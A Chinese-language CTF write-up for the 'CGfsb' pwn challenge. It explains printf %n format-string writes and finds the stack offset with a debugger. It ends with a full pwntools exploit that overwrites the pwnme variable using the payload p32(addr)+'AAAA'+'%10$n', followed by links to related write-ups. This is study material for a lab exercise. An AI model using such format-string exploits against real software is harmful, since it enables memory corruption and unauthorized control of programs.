CGfsb
这里补充一下%n是代表向参数赋值打印的字符个数
例如printf("AAAA%n",&a);
代表的是向a写入4
printf("AAAA%1n", &argu1)
代表的是将打印字符的个数值写入参数1中.
printf("AAAA%2$n", &argu1, &argu2, &argu3......)
使用'$'符号来进行参数的选择
代表的是将打印字符的个数写入参数2对应的地址内存中.
来看一点实际的吧:
a储存的时b的一个地址,将打印个数写入到第二个参数对应指向的内存中
实现了.
在堆栈中.printf中格式化字符窜'%p' 会打印第一个参数对应的值
可以使用%p来计算偏移. 这里对于新手可能不太直观,我就使用edb调试给大家看
咱们来看一下题:
检查一下保护
使用ida打开分析:
逻辑是,怎样使用pwnme = 8即可.
找到pwnme的地址
记录一下地址,开始使用edb调试分析.按F9直接进入main函数
输入一些%p打印第一个参数的内容,找偏移
跟进printf中:
打印出
打印的值为第一个参数和第二第三参数的值,查看堆栈窗口.找一下偏移
从ff83b2de到44434241有9偏移,而个数是从1计数的所以偏移为10.
在这里,我们只需想法设法把ff83b2e8里对应的值该为目标对应修改地址,然而第二次输入时直接输入即可 p32(pwnme addr)
然后再调一下打印个数即可修改对目标pwnme值进行修改
即payload = p32(pwnme addr) + '%10$'
有人可能会问,为啥把地址写在前面,因为输入的地方就离printf第一个参数偏移位10的地方,地址就直接写在那就行了,其实你也可以写在后面,那得重新计算偏移即可
重新调试:输入偏移为10
直接运行结束,因为0x44434241地址不可写入
我们将该值在堆栈里修改一下,为0x 0804a068
运行一下:
成功将pwnme值修改为4
好开始利用漏洞,exp
#! bin/python
from pwn import *
sh = process("./CGfsb")
sh = remote("111.198.29.45",36339)
sh.recvuntil("please tell me your name:\n")
payload = 'Logan'
sh.sendline(payload)
sh.recvuntil("leave your message please:\n")
addr = 0x0804A068 # addr of pwnme
payload = p32(addr) +'AAAA'+ '%10$n'
sh.sendline(payload)
sh.interactive()
#sh.close()
可能有人会问,为啥要填充4个A? 因为p32(addr)占4个字节,若想让pwnme等于8,那还差4个字节,随便填充4个字节就好了
CGfsb的更多相关文章
- day-4 xctf-pwn CGfsb
xctf-pwn CGfsb 传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id= ...
- 攻防世界 | CGfsb
所以题目要求是输入生日1926l
- 攻防世界pwn之新手区
涉及的工具有 Ubuntu 16.04 pwntools IDA gdb-peda 1.get_shell 连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件, ...
- 攻防世界新手区pwn writeup
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
随机推荐
- windows编程,消息函数中拦截消息的问题
很多年没有写windows窗口程序了,今天自制基于vulkan的程序时遇到了一些问题,部分代码如下: LRESULT CALLBACK XWindow::WndProc(HWND hWnd, UINT ...
- hyperworks2019x中模型简化
Defeature→Fillets
- Markdown Memo(memorandum)
居中 html语法 <center>居中</center> 左对齐 <p align="left">左对齐</p> 右对齐 < ...
- redux源码浅入浅出
运用redux有一段时间了,包括redux-thunk和redux-saga处理异步action都有一定的涉及,现在技术栈转向阿里的dva+antd,好用得不要不要的,但是需要知己知彼要对react家 ...
- React - 可控组件和非可控组件的选择
原则 受控组件(用户输入 ---> state 更新 ---> 组件更新)的消耗明显比非受控组件大的多,但非受控组件只能在需求非常简单的情况下的使用. 特性 uncontrolled 受控 ...
- Crypko 基于滚动条进行的动画是如何实现的?
Crypko 网站里面的下拉滚动条进行的动画感觉非常炫,于是研究了一下她的实现,发现她主要是使用了 ScrollMagic 这个库实现了基于滚动条的动画. 为什么这么确定就是用了 ScrollMagi ...
- Powershell指令集_2
目录 目录 获取证书 Get-Childitem 调用REST API Invoke-RestMethod 选择对象属性 Select-Object 导入模块 Invoke-Expression 路径 ...
- IDE(Pycharm&&IDEA)配置文件模版
Pycharm ====> 修改Python Script : 修改位置:Edito >> File and CodeTemplates >> Python Script ...
- 伪造IP及获取客户端真实IP地址
Fiddler支持自定义规则,可以实现对HTTP请求数据发送给Server前或HTTP应答数据发送给浏览器前进行修改.下面的例子将演示如何向所有HTTP请求数据中增加一个头.1)打开Fiddler,点 ...
- selenium验证码处理之cookie登录
在实际测试中会经常见到登录操作需要验证码验证登录 常见验证有以下几种: 验证码登录 图片识别 图片滑块识别验证 4.简单验证码计算 针对上面的登录验证解决办法有以下几种: 1.让开发去掉验证码 ...